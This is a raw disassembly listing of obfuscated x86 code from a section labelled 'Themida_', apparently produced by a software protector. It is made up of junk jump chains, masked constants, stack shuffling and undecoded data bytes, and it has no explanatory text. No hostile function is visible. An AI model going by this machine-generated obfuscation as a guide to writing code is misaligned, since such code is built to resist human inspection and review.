--------------------------------------------------------------------------- dword_506B94 dd 24048B66h, 0E5AAE9h ; DATA XREF: Themida_:00502A30o db 0 ; --------------------------------------------------------------------------- loc_506B9D: ; CODE XREF: Themida_:00506685j mov [esp], edi push 5CE11551h push dword ptr [esp] pop edi jmp loc_5093DF ; --------------------------------------------------------------------------- dw 3C87h dd 0E2D15C24h, 5FC2814Ah, 9137DDBh, 0E95A1C57h, 6010h dd 81243C8Bh, 4C4h, 7DE95000h db 2 dup(1), 0 ; --------------------------------------------------------------------------- loc_506BD3: ; CODE XREF: Themida_:005050CEj add ebp, 4 push ebx mov ebx, 7A6A5D77h add ebx, 27067BFBh and ebx, 0E011F3Dh shl ebx, 4 sub ebx, 192FCh jmp loc_50C1A9 ; --------------------------------------------------------------------------- db 56h, 54h, 8Bh dd 0FE92434h, 8B00002Ah, 53682424h, 8900006Dh, 8151241Ch dd 4ECh, 0B4AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506C1A: ; CODE XREF: Themida_:00505E9Ej xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx push esp pop ebx add ebx, 4 push ecx mov ecx, 63D80705h jmp loc_506620 ; --------------------------------------------------------------------------- dd offset dword_450050+2E718h dw 0E900h dd 15B6h, 8B240C87h, 24D32424h, 6163E924h, 1C890000h, 95BD5524h dd 81493512h, 0A36AC4F5h, 550E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_506C66: ; CODE XREF: Themida_:0050342Fj sub eax, edx push dword ptr [esp] push dword ptr [esp] jmp loc_50EF68 ; --------------------------------------------------------------------------- db 53h dd 154711BBh, 156848h, 4890000h, 54396824h, 0C890000h dd 9239E924h, 305C0000h, 0C32240Ch, 91D1E924h, 0C4830000h dd 0F0BF5704h, 0C10E360Eh, 0F78103EFh, 2534B700h, 8247C29h dd 0FFBEB8E9h, 240489FFh, 10BB7E9h, 114C6800h, 0C890000h dd 74AC6824h, 0C8B59F2h, 4C48124h, 81000000h, 4ECh, 4281E900h dd 0CD20000h, 0E4E99C24h, 83FFFFBDh, 11E904C4h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506CEF: ; CODE XREF: Themida_:0051364Fj mov edx, 486A0A61h add dword ptr [esp+4], 483A68E2h sub [esp+4], edx jmp loc_5050D3 ; --------------------------------------------------------------------------- db 81h, 0C5h, 87h dd 0F777112Ah, 0BFFCE9D5h, 4E4E0000h, 6058BB53h, 81436427h dd 3D1700E3h, 7BF38116h, 29F887E7h, 0F1015BDEh, 8324348Bh dd 0DDE904C4h, 5A000084h, 8141E9D1h, 0AD7BF4F1h, 0B10FE913h dd 0D5080000h, 4937E9h, 4C48300h, 0FFBD76E9h, 5AD501FFh dd 31242C33h, 2C33242Ch, 24248B24h, 4AB0F66h, 5CE99C24h dd 87FFFFBDh, 7FE9240Ch db 0DFh, 2 dup(0) byte_506D77 db 64h ; DATA XREF: Themida_:00502864o dd 0EFE932FFh, 66000027h, 6606ACB9h, 8B66C829h, 0C483240Ch dd 0F3E95702h db 0A3h, 2 dup(0) byte_506D93 db 8Bh ; DATA XREF: Themida_:00502824o dd 0EC832404h, 4212E904h, 4050000h, 5000000h, 4, 0E9240487h dd 3CD1h, 5104C483h, 0BB53E189h, 4, 815BD901h, 4E9h, 0C696E900h dd 0F5880000h, 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 0FFD45DE9h dd 0A9B652FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_50FB96 ; --------------------------------------------------------------------------- db 53h, 0BBh, 11h dd 0C17A9A23h, 0D3F707E3h, 643ECB81h, 0EB812839h, 27686607h dd 8108E3C1h, 117804F3h, 5BDF2997h, 9D0BE9h db 0 ; --------------------------------------------------------------------------- loc_506E1D: ; CODE XREF: Themida_:00512751j movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp], ebx push edi jmp loc_505B7D ; --------------------------------------------------------------------------- dw 0B8BDh dd 81285B42h, 4ECh, 24048900h, 72924EB8h, 82E4E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_506E4A: ; CODE XREF: Themida_:0051086Dj pop eax push ax jmp loc_50B06F ; --------------------------------------------------------------------------- loc_506E52: ; CODE XREF: Themida_:0050BF25j add esi, ebx pop ebx add esi, 4 xchg esi, [esp] pop esp push 5732h mov [esp], ebx push 4AE07900h push dword ptr [esp] jmp loc_505BED ; --------------------------------------------------------------------------- loc_506E74: ; CODE XREF: Themida_:0050EFA5j mov edx, 1 jmp loc_508D03 ; --------------------------------------------------------------------------- dw 3489h dd 50E68924h, 4B8h, 58C60100h, 8704C683h, 248B2434h, 40524h dd 59E90000h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_506E9F: ; CODE XREF: Themida_:0050A559j movzx eax, al jmp loc_50A668 ; --------------------------------------------------------------------------- aBR3 db 'Á`r3',0 db 81h, 0F1h, 0FEh dd 1204F14h, 0EB8159CBh, 4, 5C241C87h, 56243C89h, 0BF042CBEh dd 5EF78974h, 1450F781h, 0EF815D7Dh, 29C21078h, 815FF801h dd 4ECh, 241C8900h, 0E60684BBh, 0DBBE5609h, 294D2F25h dd 2434FFF3h, 4C4815Eh, 0E9000000h, 10FCDh ; --------------------------------------------------------------------------- loc_506F00: ; CODE XREF: Themida_:0050E534j mov edi, [esp] add esp, 4 add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_503F2E ; --------------------------------------------------------------------------- loc_506F1D: ; CODE XREF: Themida_:00513A7Ej mov [esp], edi jmp loc_50E2CD ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FF243C89h, 8B042474h, 0C483243Ch, 0A93EE904h, 0A680000h dd 5D074736h, 0EF01B850h, 0C529C2B2h, 2BE95558h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506F4F: ; CODE XREF: Themida_:00509B0Ej add esp, 4 xor edi, [esp] xor [esp], edi jmp loc_50A8B1 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4C58100h, 87000000h, 685C242Ch, 4A55h, 10E3EE9h dd 2474FF00h, 48F5804h, 24248B24h, 24048B66h, 4EC81h, 0C890000h dd 0CC09E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_506F96: ; CODE XREF: Themida_:005117E0j xor ebp, 1C76A03h shr ebp, 4 push ebx jmp loc_507D13 ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 2 dd 0D5F7EE87h, 3837E956h, 0D7870000h, 0A543E9h, 0E9EA8700h dd 0FFFFE0DAh, 0E904EC83h, 1D75h ; --------------------------------------------------------------------------- loc_506FC8: ; CODE XREF: Themida_:0050927Dj push 78E2h jmp loc_50647F ; --------------------------------------------------------------------------- dw 0E956h dd 48FCh, 0A1B85056h, 0C151DD50h, 43E905E8h, 59FFFFEAh dd 0A0B8E9h, 80CBFE00h, 53E913C3h, 81FFFFE1h, 68397AEBh dd 81EB290Ah, 68397AC3h, 31E95D0Ah, 5900009Eh, 4C481h dd 0F5290000h, 8BEB015Eh, 8952242Ch, 4C281E2h, 0E9000000h dd 1B7Bh dword_507028 dd 24048B66h, 499A68h, 21DE900h, 0FF530001h, 5B042474h ; DATA XREF: Themida_:00502858o dd 5C24048Fh, 0E930FF66h, 0FFFFBA83h ; --------------------------------------------------------------------------- loc_507048: ; CODE XREF: Themida_:005042C7j add ebx, edi pop edi jmp loc_50798C ; --------------------------------------------------------------------------- dd 0DD0852B9h, 29BB533Bh, 4B2D5176h, 0B2DCC381h, 0D9091216h dd 0E368555Bh, 0E9668B42h, 5669h ; --------------------------------------------------------------------------- loc_507070: ; CODE XREF: Themida_:00515CFFj add ebp, eax pop eax jmp loc_51581A ; --------------------------------------------------------------------------- dd 235D9E25h, 5C10354Eh, 0E43557F9h, 55C6D09h, 200BAE0Dh dd 5558C589h, 5D2414F7h, 0E904EDC1h, 0FFFFFC69h, 0BA52E789h dd 13B05FFAh, 0FFBBB5E9h, 0EB814BFFh, 31769D76h, 34FFDF01h dd 0ABDAE924h, 0E3810000h, 30CA5411h, 0FFC7C9E9h, 0F0045AFFh dd 0C084E9h, 0AAE95800h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5070D3: ; CODE XREF: Themida_:0050A22Bj mov eax, ebx pop ebx jmp loc_5079A9 ; --------------------------------------------------------------------------- db 51h dd 4B9h, 59CD0100h, 5C242C87h, 8704C783h, 248B243Ch, 0BFE95624h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5070F7: ; CODE XREF: Themida_:005160E7j add eax, 4 xchg eax, [esp] pop esp push edx push esp pop edx push ebp mov ebp, 545C5753h add ebp, 27D82110h dec ebp add ebp, 83CB87A2h sub edx, 6F09263Bh add edx, ebp add edx, 6F09263Bh mov ebp, [esp] add esp, 4 push eax mov eax, 4 add edx, eax pop eax push edx push dword ptr [esp+4] jmp loc_511B60 ; --------------------------------------------------------------------------- word_50713E dw 4568h ; DATA XREF: Themida_:00502888o dd 89000032h, 0E9542404h, 45BFh ; --------------------------------------------------------------------------- loc_50714C: ; CODE XREF: Themida_:00504D09j xchg ebp, [esp] pop esp jmp loc_507A2E ; --------------------------------------------------------------------------- loc_507155: ; CODE XREF: Themida_:0051054Aj sub esp, 4 jmp loc_5080D1 ; --------------------------------------------------------------------------- dd 0E930FF66h, 0FFFFB963h aNQBS db '-Ÿ{%éµ/',0 ; DATA XREF: Themida_:00502958o dw 8B00h dd 0E9572404h, 6286h, 56535958h, 1945E9h, 0E9FCB700h, 0FFFFEE6Fh ; --------------------------------------------------------------------------- loc_50718C: ; CODE XREF: Themida_:0050A205j push edi push 969h mov [esp], ecx jmp loc_517771 ; --------------------------------------------------------------------------- dw 0C483h dd 38EEE904h, 0C4830000h, 0CB6FE904h, 74FF0000h, 48B0424h dd 1FD7E924h, 0D5F70000h, 0E950DDF7h, 982Ch dword_5071C0 dd 241CF766h, 0B901E99Ch, 0C781FFFFh, 29D66B72h, 0B850DFF7h ; DATA XREF: Themida_:0050283Co dd 18E60A55h, 0C9E9C721h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5071DF: ; CODE XREF: Themida_:00514BFFj sub edi, 4537ECB5h xor ecx, edi mov edi, [esp] add esp, 4 sub ecx, 4E8A678Eh push ebx push edi mov edi, 78A04B0Bh mov ebx, edi pop edi dec ebx sub ebx, 79A8723Dh jmp loc_50A0C8 ; --------------------------------------------------------------------------- aIS5i db '‰Ù[]é5›',0 align 2 aVs db 'Véì%',0 align 4 loc_507218: ; CODE XREF: Themida_:005074D3j mov edi, [esp] add esp, 4 jmp loc_50BC0A ; --------------------------------------------------------------------------- dw 515Ch dd 6074D1B9h, 0B0E1811Ch, 81625F43h, 0E71F47F1h, 81D9F749h dd 0B52624C9h, 9AF6E938h, 9A050000h, 8314795Ah, 3C8904ECh dd 2BBA5224h, 0E924A02Eh, 0CA9Ah ; --------------------------------------------------------------------------- loc_50725C: ; CODE XREF: Themida_:0050C559j or ebp, 5166586Dh jmp loc_50B8BB ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 4C581h, 0B9510000h, 7C82693Dh, 380DE9h dd 24148900h, 733FE6BAh, 3FC28145h, 0E9492D30h, 0D108h dd 0E958C728h, 0FFFFF711h, 4EC81h, 2C890000h, 744FBD24h dd 0E8896723h, 0BA52575Dh, 4E0B7DE0h, 0F4821FBFh, 5AD701B1h dd 0E362692Dh, 5F82924h, 24E36269h, 0FFD56CE9h, 40558FFh dd 5000000h, 4, 8B240487h, 0EC812424h, 4, 0E9240C89h, 5E09h dd 31243433h, 34332434h, 24248B24h, 4A30F66h, 0E0E99C24h dd 830000C3h, 2EE904ECh, 1FFFFBAh, 0D4C581F5h, 5E4C8040h dd 0FF5DEB01h, 1EE92434h, 10000BDh, 240C8BC8h, 8704C483h dd 0FF5C2404h, 535F2434h, 0C381E389h, 4, 8704C383h, 685C241Ch dd 7581h, 0E9240C89h, 0FFFFD238h ; --------------------------------------------------------------------------- loc_507348: ; CODE XREF: Themida_:005074BEj pop ebx push edx jmp loc_508830 ; --------------------------------------------------------------------------- db 89h dd 5166241Ch, 0CB8856B1h, 240C8B66h, 5602C483h, 0C770E9h dd 33EB8000h, 28E95866h, 5D000001h, 0A9BF575Eh, 18A75B7h dd 243C8BF8h, 4C481h, 0C5210000h, 8324048Bh, 0E58104C4h dd 78BD7838h, 0FFC2D1E9h, 80D7F6FFh, 0EF805AE7h, 8BF8003Eh dd 0C483241Ch, 68D80004h, 7B99h, 54241C89h, 54ACE95Bh dd 0E6810000h, 710D0A71h, 4ED6F74Eh, 0FDECEE81h, 0F301DFFAh dd 4EC835Eh, 9C14E9h db 0 ; --------------------------------------------------------------------------- loc_5073D1: ; CODE XREF: Themida_:005100DDj mov eax, 4 jmp loc_5140D3 ; --------------------------------------------------------------------------- loc_5073DB: ; CODE XREF: Themida_:00509A2Ej add esi, 4 sub esp, 4 jmp loc_505E93 ; --------------------------------------------------------------------------- dd 0B68272BBh, 5BDF018Dh, 42CEC381h, 0FB01554Ch, 42CEEB81h dd 34FF554Ch, 89505F24h, 405E0h, 0C0830000h, 24048704h dd 2843E9h db 0 aNsgi db 'ég‰',0 ; DATA XREF: Themida_:005028F4o dw 8100h dd 297371C2h, 0D5895592h, 5A5DE889h, 4244431h, 0E92434FFh dd 0B3C6h, 42474FFh, 24048F5Ah, 0B685E95Ch, 0EB81FFFFh dd 6978614Ch, 0C381F301h, 6978614Ch, 241C335Eh, 33241C31h dd 248B241Ch, 0AF0F6624h, 9C5166C8h, 0FFB65EE9h, 0F3E953FFh dd 1FFFFBCh, 2AD4E9C2h, 53520000h, 2DE916B3h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507483: ; CODE XREF: Themida_:005153ACj push ebx push 13C4h mov [esp], eax push edx push 6F8F1AC9h jmp loc_508920 ; --------------------------------------------------------------------------- db 0Fh aSk5 db '¶Àéª5',0 db 0 ; --------------------------------------------------------------------------- loc_50749F: ; CODE XREF: Themida_:005057C3j shr ebp, 3 xor ebp, 31F9447Eh jmp loc_508A7F ; --------------------------------------------------------------------------- aYh db 'YhÖ',8,0 dw 0E900h dd 0D9BAh ; --------------------------------------------------------------------------- loc_5074B8: ; CODE XREF: Themida_:00512026j sub ecx, 5D493466h jmp loc_507348 ; --------------------------------------------------------------------------- db 52h dd 3D6F8BBAh, 0E9D03115h, 572Ah ; --------------------------------------------------------------------------- loc_5074D0: ; CODE XREF: Themida_:00517474j pop ebx add ebx, edi jmp loc_507218 ; --------------------------------------------------------------------------- loc_5074D8: ; CODE XREF: Themida_:00514B46j add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] xor bl, al jmp loc_5162C5 ; --------------------------------------------------------------------------- db 89h dd 0BE56242Ch, 59675940h, 525EF589h, 76D432BAh, 0EEFBE9F6h dd 0C3800000h, 80EB00F8h, 0E2E9F8EBh, 10000D3h, 34875FFEh dd 24248B24h, 9C240420h, 0FFB59AE9h db 0FFh ; --------------------------------------------------------------------------- loc_507531: ; CODE XREF: Themida_:00504E8Cj pop eax sub esp, 4 mov [esp], ebp jmp loc_507B62 ; --------------------------------------------------------------------------- db 5, 68h, 77h dd 6F353AB0h, 0E9D6F958h, 118Fh, 0BB535558h, 24712Ah, 55229EBDh dd 5BDD019Ch, 22BCE9h, 8EE95C00h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_507567: ; CODE XREF: Themida_:00515139j mov [esp], ebx jmp loc_50E517 ; --------------------------------------------------------------------------- db 31h dd 240C8BC8h, 4C481h, 42680000h, 8900006Bh, 0C8BE2434h dd 31169981h, 0C7015EF0h, 7E5AE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507592: ; CODE XREF: Themida_:0050DA99j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp mov ebp, esp jmp loc_50E212 ; --------------------------------------------------------------------------- loc_5075A6: ; CODE XREF: Themida_:005141ACj mov ecx, 4 sub eax, 29605B5h sub eax, 4C53F36h add eax, ecx add eax, 4C53F36h add eax, 29605B5h jmp loc_508167 ; --------------------------------------------------------------------------- dw 0C483h dd 241C8704h, 3BE8E9h db 0 ; --------------------------------------------------------------------------- loc_5075D1: ; CODE XREF: Themida_:0050F9B5j add esi, ebx jmp loc_50D9AE ; --------------------------------------------------------------------------- dd 125827BDh, 7B0BE92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5075E2: ; CODE XREF: Themida_:00515581j mov ebp, 4 sub ebx, 231E6352h add ebx, ebp jmp loc_50E6B8 ; --------------------------------------------------------------------------- dd 9B60A9BAh, 384E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5075FE: ; CODE XREF: Themida_:00509749j add esp, 4 jmp loc_502B05 ; --------------------------------------------------------------------------- db 29h, 0F8h, 5Fh dd 0BB53F801h, 25B35DB6h, 63FCB81h, 0EBC1452Dh, 85F38103h dd 13677FFh, 241C8BD8h, 5F04C483h, 0FF1C4709h, 0E9582434h dd 0F1B7h, 4C281h, 81550000h, 4ECh, 24148900h, 665CF3BAh dd 0FFC2811Bh, 81FFFFFFh, 5D7228F2h, 7E2C17Ch, 0FFEA8142h dd 899D976Ch, 2434FFD5h, 4EC835Ah, 89240C89h, 4C181E1h dd 81000000h, 4C1h, 34A5E900h, 0C1830000h, 240C8704h, 7DEA815Ch dd 2D396E32h, 64EF1E0Fh, 0BE56D001h, 217B29FDh, 8107E6C1h dd 5A1F8FC6h, 5EF001A7h, 5A2434FFh, 81E18951h, 4C1h, 4C18100h dd 87000000h, 13E9240Ch db 0BDh, 2 dup(0FFh) byte_5076C3 db 0FFh ; DATA XREF: Themida_:00502924o dd 48B2434h, 0E944E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5076CE: ; CODE XREF: Themida_:0050E486j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx jmp loc_508F4A ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 81000000h, 4C5h, 242C8700h, 2434FF5Ch, 0E189515Bh dd 0FFB59BE9h, 243C31FFh, 0EE08E9h, 24348B00h, 8104C483h dd 4C6h, 4EE8100h, 87000000h, 46E92434h, 890000D0h, 5A542414h dd 4C281h, 0EA830000h, 4EC8104h, 0E9000000h, 6EC6h, 2E9D7F7h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507753: ; CODE XREF: Themida_:00508EB8j and eax, ebx pop ebx push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] jmp loc_50D24C ; --------------------------------------------------------------------------- dd 57241489h, 0C781E789h, 4, 4EF81h, 0F9E90000h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50777B: ; CODE XREF: Themida_:00510FE0j push dword ptr [esp] push dword ptr [esp] pop eax push edi push esp pop edi jmp loc_50F634 ; --------------------------------------------------------------------------- dd offset dword_4E414C+61Ch dw 0E900h dd 4B3Bh, 90637A68h, 49E3E969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50779E: ; CODE XREF: Themida_:0050C5B5j push dword ptr [esp] mov edx, [esp] add esp, 4 push ebp push esp jmp loc_50EE81 ; --------------------------------------------------------------------------- byte_5077B1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005028A0o aScj db '$écj',0 align 2 loc_5077BA: ; CODE XREF: Themida_:00505BE8j sub ebx, 0C9F5776h neg ebx shl ebx, 3 dec ebx add ebx, 0F5B7BCF9h xor edx, ebx pop ebx jmp loc_5115C7 ; --------------------------------------------------------------------------- dd 51240489h, 803FB252h, 0CEE9E1C2h, 520000C9h, 0D602E9h dd 0E3685300h, 5B225703h, 55FFC383h, 0FB53C0BDh, 0E9BB536Ah dd 0F749DC29h, 0D2F381D3h, 0E9585376h, 50DEh dword_50780C dd 24048B66h, 16EDE9h, 627F6800h, 4890000h, 5E08924h, 4 ; DATA XREF: Themida_:00502818o dd 0DCCDE9h, 81CB2900h, 7538B6C3h, 0D022E93Fh, 0E95BFFFFh dd 0A06Eh ; --------------------------------------------------------------------------- loc_50783C: ; CODE XREF: Themida_:00509402j add eax, ebp add eax, 45FF31FFh jmp loc_50D4E0 ; --------------------------------------------------------------------------- loc_507848: ; CODE XREF: Themida_:0050D142j pop ebp add ecx, ebx mov eax, [ecx] pop ecx push dword ptr [esp] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5058BC ; --------------------------------------------------------------------------- loc_50786B: ; CODE XREF: Themida_:0050B4BCj push eax mov eax, 12A1092Ah not eax jmp loc_515CF1 ; --------------------------------------------------------------------------- loc_507878: ; CODE XREF: Themida_:0050F9E3j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp push 2EAh mov [esp], edx push ecx jmp loc_50D6F9 ; --------------------------------------------------------------------------- dw 0BB53h dd 2AB87280h, 53D9EB81h, 0DBF7771Fh, 421C381h, 0E381380Bh dd 1BFE6621h, 6A04BA52h, 0CA812202h, 7F6F1625h, 4EA814Ah dd 314E2C4Ch, 0C3815AD3h, 0D090E10Dh, 0ACE9DD29h, 0C000002Eh dd 0E95307E4h, 0FFFFDAD9h ; --------------------------------------------------------------------------- loc_5078E0: ; CODE XREF: Themida_:0050FDFBj add ebp, ebx sub esp, 4 mov [esp], esi push edi mov edi, 9FE73DAh mov esi, edi mov edi, [esp] add esp, 4 add ebp, esi pop esi sub ebp, 79651FAAh mov ebx, [esp] push 5142h mov [esp], ebp jmp loc_515FE8 ; --------------------------------------------------------------------------- dw 835Ah dd 0F75D04C4h, 263D68D5h, 14890000h, 0FF5A5524h, 0A9E92434h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50792B: ; CODE XREF: Themida_:0050BD6Dj push 32D2715Fh pop edx jmp loc_515F0B ; --------------------------------------------------------------------------- loc_507936: ; CODE XREF: Themida_:0050B172j mov esi, [esp] push esi mov esi, esp jmp loc_509963 ; --------------------------------------------------------------------------- db 66h, 53h, 66h dd 0F1242C81h, 348B6612h, 2C48324h, 0F1C68166h, 0A55BE912h dd 685B0000h, 2888h, 52240C89h, 10456E9h, 0B0506600h, 66C78884h dd 0E9F82858h, 0FFFFDAC7h, 885AD530h, 3F9CE9EFh, 3B90000h dd 0E93FDC42h, 0FFFFE53Ch ; --------------------------------------------------------------------------- loc_50798C: ; CODE XREF: Themida_:0050704Bj sub ebx, 34464782h add edi, ebx push dword ptr [esp] jmp loc_50954B ; --------------------------------------------------------------------------- dd 0D483F381h, 0DA89197Dh, 318E9h db 0 ; --------------------------------------------------------------------------- loc_5079A9: ; CODE XREF: Themida_:005070D6j inc eax shr eax, 6 shr eax, 2 add eax, 6F7F9FC2h sub edx, eax mov eax, [esp] add esp, 4 jmp loc_513646 ; --------------------------------------------------------------------------- db 66h, 0BFh, 0AEh dd 0D70166F0h, 0A837E9h db 0 ; --------------------------------------------------------------------------- loc_5079D1: ; CODE XREF: Themida_:0050E867j xchg ebp, [esp] jmp loc_50F176 ; --------------------------------------------------------------------------- db 68h, 7Bh, 25h dd 1C890000h, 81E38924h, 4C3h, 4C38100h, 33000000h, 1C31241Ch dd 241C3324h, 921BE9h, 24048100h, 4, 8B2434FFh, 0E92414h dd 510000F0h, 42474FFh, 525CE9h, 0C9E95300h, 59000097h dd 81E68956h, 4C6h, 840AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507A2E: ; CODE XREF: Themida_:00507150j mov [esp], ebx mov ebx, 2 add ecx, ebx push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_50A73C ; --------------------------------------------------------------------------- dd 5F2434FFh, 0A670E9h, 1EA8100h, 0C1000000h, 0E95707E2h dd 0FFFFC4E2h, 644C6858h, 0C890000h, 81E18924h, 4C1h, 0FC04E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507A7E: ; CODE XREF: Themida_:00514F04j xchg edx, edi dec edx jmp loc_50F24D ; --------------------------------------------------------------------------- dw 0F901h dd 83243C8Bh, 0C8704C4h, 24248B24h, 592434FFh, 0F5C4E9h dd 51E68900h, 4B9h, 6161E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507AAA: ; CODE XREF: Themida_:00512C3Dj mov [esp], eax push 1FB1h jmp loc_517717 ; --------------------------------------------------------------------------- db 42h dd 6949E281h, 81425C82h, 0B700ECF2h, 98F28169h, 0E913EA20h dd 0FFFFDCB8h ; --------------------------------------------------------------------------- loc_507AD0: ; CODE XREF: Themida_:00517F6Ej add eax, 352D4B07h add eax, 74530BF2h pop edi add eax, edi jmp loc_50C8B4 ; --------------------------------------------------------------------------- dw 8159h dd 0FE3E37CBh, 0A3CB8152h, 81586B42h, 0AE5DA8E3h, 0BBCB812Fh dd 0F700AF46h, 54EB81DBh, 0E9DD5469h, 6198h, 9668D830h dd 8900005Ch, 50B7241Ch, 0C018E780h, 0E7C006E7h, 84F78003h dd 0D1E9F800h, 81FFFFC6h, 2C5h, 2F41E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507B32: ; CODE XREF: Themida_:00508DF3j xor eax, 0BA43A48Ch add ebp, eax pop eax push 2814h mov [esp], ebx jmp loc_50B4B9 ; --------------------------------------------------------------------------- db 89h dd 14A5E9E5h, 0C4810000h, 4, 76E1E957h, 0D7000000h, 9D73E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_507B62: ; CODE XREF: Themida_:00507538j mov ebp, esp jmp loc_50DE91 ; --------------------------------------------------------------------------- loc_507B69: ; CODE XREF: Themida_:0050D272j add edi, edx add edi, 627760A7h pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ecx push esp mov ecx, [esp] add esp, 4 jmp loc_50A704 ; --------------------------------------------------------------------------- dd 0EDD0E950h, 0E95EFFFFh, 4F10h, 0B745E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_507B9E: ; CODE XREF: Themida_:005058BEj push esp push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add ebx, 4 jmp loc_513C99 ; --------------------------------------------------------------------------- loc_507BC0: ; CODE XREF: Themida_:0050B163j mov eax, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_503CC8 ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 12CE924h db 1, 0 ; --------------------------------------------------------------------------- loc_507BDE: ; CODE XREF: Themida_:00514C9Aj push edi mov edi, 71C5228Bh sub edx, edi pop edi sub edx, 4BE874A6h not edx add edx, 61C50174h xor ebx, edx pop edx shr ebx, 3 and ebx, 72635F8Dh xor ebx, 2404E85h sub edx, 64D1C40h add edx, ebx add edx, 64D1C40h jmp loc_512D25 ; --------------------------------------------------------------------------- dw 2D66h dd 56634CBh, 5166465Eh, 0FFF156E9h, 0E9EB89FFh, 0FFFFF5D9h dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 386Fh, 0BA52h dd 0BE90000h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_507C4F: ; CODE XREF: Themida_:0050FBC0j pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_50560A ; --------------------------------------------------------------------------- aS3l db '[é3L',0 db 0 ; --------------------------------------------------------------------------- loc_507C67: ; CODE XREF: Themida_:0050C938j mov esp, [esp] push 3DA6h jmp loc_51515D ; --------------------------------------------------------------------------- dd 587CBB53h, 814374D6h, 0CD18BDE3h, 6F33E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507C86: ; CODE XREF: Themida_:00505E7Ej sub ecx, 21CD0291h dec ecx jmp loc_514B57 ; --------------------------------------------------------------------------- loc_507C92: ; CODE XREF: Themida_:00515870j pop ecx jmp loc_51335C ; --------------------------------------------------------------------------- dd 0E904C683h, 5EA2h ; --------------------------------------------------------------------------- loc_507CA0: ; CODE XREF: Themida_:0050A71Aj add ebp, 52E1255Fh jmp loc_512C88 ; --------------------------------------------------------------------------- db 81h dd 0D15047F3h, 28BD0568h, 4E91421h, 550000B7h, 0FFD341E9h dd 90BE5BFFh, 29912EE5h, 0EA685AD6h, 8900005Dh, 0E268241Ch dd 5B0F9A1Eh, 0F5FAC381h, 0F3814635h, 56067CA1h, 3E11B850h dd 0B9E91E87h, 810000E0h, 4C6h, 4EE8300h, 5C243487h, 81240489h dd 4ECh, 0CC1DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507D0A: ; CODE XREF: Themida_:00510167j xchg ebx, [esp] pop esp jmp loc_50D02A ; --------------------------------------------------------------------------- loc_507D13: ; CODE XREF: Themida_:00506FA0j mov ebx, 1814280Ch jmp loc_5149AF ; --------------------------------------------------------------------------- loc_507D1D: ; CODE XREF: Themida_:0050BC2Ej xchg ebx, [esp] mov esp, [esp] jmp loc_517B7F ; --------------------------------------------------------------------------- dd 0FFAD9EE9h, 0EB355AFFh, 17F3F77h, 336858C7h, 89000070h dd 4B82404h, 29000000h, 24048BC7h, 8704C483h, 248B243Ch dd 24148924h, 0AEE9E289h, 5C0000F6h, 5E9D800h, 810000A7h dd 1F4350C6h, 81CE292Fh, 1F4350EEh, 0EE81592Fh, 3E15F872h dd 5005EEC1h, 7881EEB8h, 58C629CBh, 0F3D7E9h db 0 ; --------------------------------------------------------------------------- loc_507D89: ; CODE XREF: Themida_:00502BFCj add esp, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], esp jmp loc_503EAE ; --------------------------------------------------------------------------- 